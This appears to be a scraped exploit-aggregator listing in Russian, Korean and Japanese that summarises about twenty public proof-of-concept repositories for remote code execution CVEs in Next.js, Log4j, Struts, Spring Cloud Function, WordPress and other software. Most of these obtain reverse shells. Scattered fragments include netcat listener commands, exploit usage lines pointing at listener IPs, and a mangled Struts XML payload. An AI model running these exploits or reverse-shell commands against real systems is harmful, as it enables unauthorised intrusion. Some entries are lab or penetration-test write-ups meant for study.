POC_react2shell_CVE-2025-55182

Эксплойт RCE для Next.js React Server Components Эксплуатирует CVE-2025-55182 для удалённого выполнения кода через prototype pollution. Автор: Severian N.K. Описание Этот инструмент эксплуатирует уязвимость prototype pollution в приложениях Next.js, использующих React Server Components, что...

htb-sau-exploit-chain

Цепочка эксплойтов HTB Sau — CVE-2023-27163 SSRF + автоматизация RCE в Maltrail Python-скрипт эксплойта, который объединяет CVE-2023-27163 Server-Side Request Forgery в Request Baskets ≤ 1.2.1 с неаутентифицированной уязвимостью удалённого выполнения кода в Maltrail 0.53, доставляя reverse shell...

CVE-2023-422-Chamilo-LMS-RCE

사전 요구 사항 root@kitploit: pip install requests 정보 이 Python 스크립트는 취약점 CVE-2023-422을 이용하여 서버에 파일을 업로드하고, 그 파일을 사용해 netcat 리스너로 리버스 셸을 전송합니다. 이 모든 과정은 인증 없이 수행할 수 있습니다. 다만, Python 스크립트를 성공적으로 사용하려면 다음 단계를 따라야 합니다. netcat 리스너 시작: root@kitploit: nc -lnvp 4444 Python 스크립트 실행 예시: root@kitploit: python3...

CVE-2023-27163-AND-Mailtrail-v0.53

자동 익스플로잇 요약 다음 익스플로잇은 Requests Baskets v1.2.1 SSRF 취약점을 악용하여 127.0.0.1:80에서 실행 중인 내부 애플리케이션을 /pwned의 외부 애플리케이션으로 포워딩합니다. Mailtrail v0.53 애플리케이션이 포워딩되면 해당 애플리케이션에 대해 리버스 셸 명령을 실행하고, 몇 초 이내에 사용자는 머신에 대한 리버스 셸을 획득하게 됩니다. 명령 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

このスクリプトは、Nexus Repository Manager3 のELインジェクション（CVE-2018-16621）の脆弱性を対象とし、ワンクリックでエクスプロイトを実行してリバースシェルを取得します。 実行例： 攻撃マシンのローカルでスクリプトを実行し、プロンプトに従ってターゲットマシンのIP、ポート、ローカルのリッスンIP、ポートを入力すると、ワンクリックでエクスプロイトコードが実行され、リバースシェルを取得できます。...

Penetration-Test

Тест на проникновение Полный отчет о тесте на проникновение против IP Ubuntu VM. Цепочка атак: перебор каталогов → обнаружение резервных файлов → взлом паролей → загрузка файлов в CMS → обратная оболочка → повышение привилегий ядра Dirty Pipe, CVE-2022-0847. Структура репозитория /report – Итогов...

log4shell-exploitation-lab

Log4Shell 취약점 실습 랩 CVE-2021-44228 격리된 랩 환경에서 Log4Shell 취약점을 초기 익스플로잇부터 전체 수정remediation 보고서 작성까지 처음부터 끝까지 재현했습니다. Aditya Chaudhari와 함께 진행한 MSc 과정 과제의 일부로, 공동 보고서로 함께 작성했습니다. 수행 내용 Docker 컨테이너에 취약한 Log4j 기반 Tomcat 웹 애플리케이션을 구축 익스플로잇 페이로드를 생성하는 Python 스크립트를 작성한 후, 악성 LDAP 서버와 이를 제공할 HTTP 서버를 구동 조작된...

Webmin_Exploit_reverse_shell

Введение: Эксплойт для Webmin — это целевой эксплойт для сервиса Webmin, который может быть использован на старых версиях Webmin. Данный эксплойт применяет различные техники для выполнения вредоносного кода и получения несанкционированного доступа к целевой системе. Он включает: Использование как...

CVE-2022-22963_Reverse-Shell-Exploit

Эксплойт обратной оболочки CVE-2022-22963 Это Python-скрипт, который эксплуатирует CVE-2022-22963, уязвимость удаленного выполнения кода в Spring Cloud Function, позволяющую злоумышленникам выполнять произвольный код на уязвимом сервере. Эксплойт использует уязвимую конечную точку /functionRouter...

CVE-2025-24132-Scanner

EN | KR 📄 Обзор Этот инструмент обнаруживает устройства, поддерживающие AirPlay, в вашей локальной сети через mDNS Zeroconf и проверяет их на наличие уязвимости CVE-2025-24132 «zero-click» HTTP RCE. Найденные устройства отображаются в простом графическом интерфейсе; щелкните по устройству, чтобы...

CVE-2025-5548

🚀 CVE-2025-5548 - Эксплуатация FreeFloat FTP Server 1.0 Профессиональный анализ уязвимости и полная эксплуатация удаленного переполнения буфера 🎯 Основные моменты проекта Полное исследование реального случая CVE-2025-5548 удаленное переполнение буфера стека в FreeFloat FTP Server 1.0 через команд...

CVE-2019-7609

CVE-2019-7609 Новый CVE-2019-7609, который работает с python 13 эксплойт CVE-2019-7609 Kibana RCE правильным способом с помощью скриптов python3 Ссылка: https://github.com/LandGrey/CVE-2019-7609 Скриншот Использование root@kitploit: usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host...

CVE-2024-27956

🚨POC ВЫПУЩЕН🚨PoC для SQL-инъекции, приводящей к RCE в Wordpress, выпущен CVE-2024-27956. Создание учётной записи администратора WordPress и Reverse Shell cve-2024-27956 Использование- sudo python3 cve.py...

CVE-2023-0830

CVE-2023-0830: Эксплойт аутентифицированной инъекции команд в ОС EasyNAS 1.1.0 Этот Python-скрипт представляет собой мощный эксплойт для EasyNAS версии 1.1.0 с расширенной функциональностью, включая встроенный слушатель. Эксплуатируемая уязвимость — это недостаток инъекции команд, требующий...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect 인증되지 않은 RCE 요구 사항 Python 3.11 이상 3.11, 3.12, 3.13에서 테스트됨 설정 root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 사용법 root@kitploit: Check version only python3...

CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE Отказ от ответственности: Этот скрипт предназначен только для образовательных целей. Не используйте его в незаконных целях. Если вы это сделаете, это полностью ваша ответственность; я не несу ответственности за любое неправомерное использование. Описание Это...

POC-IngressNightmare-CVE-2025-1974

Сборщик Shell.so на базе Alpine Этот проект позволяет собрать полезную нагрузку shell.so с использованием Alpine Linux внутри контейнера Docker. Инструкции 1. Клонируйте репозиторий : git clone cd 2. Соберите полезную нагрузку : ./runbuild.sh Скомпилированная shell.so будет создана в корневой...

CVE-2025-6002

Эксплойт для CVE-2025-6002 Этот скрипт эксплуатирует уязвимость произвольной загрузки файлов с аутентификацией в VirtueMart 4.4.10 CVE-2025-6002, описанную в этом посте блога: https://blog.blacklanternsecurity.com/p/doomla-zero-days Скрипт входит в VirtueMart с предоставленными учетными данными,...

S2-052

CVE-2017-9805 S2-052 Эксплойт Reverse Shell Уязвимые версии root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0...

CVE-2007-2447

CVE-2007-2447 Для тестирования скрипта рекомендую использовать виртуальную машину "metasploitable 2", доступную здесь. Если эксплойт сработает, скрипт отобразит reverse shell. Чтобы установить соединение, просто откройте сессию netcat, например: root@kitploit: netcat -lnvp Содержание Примеры...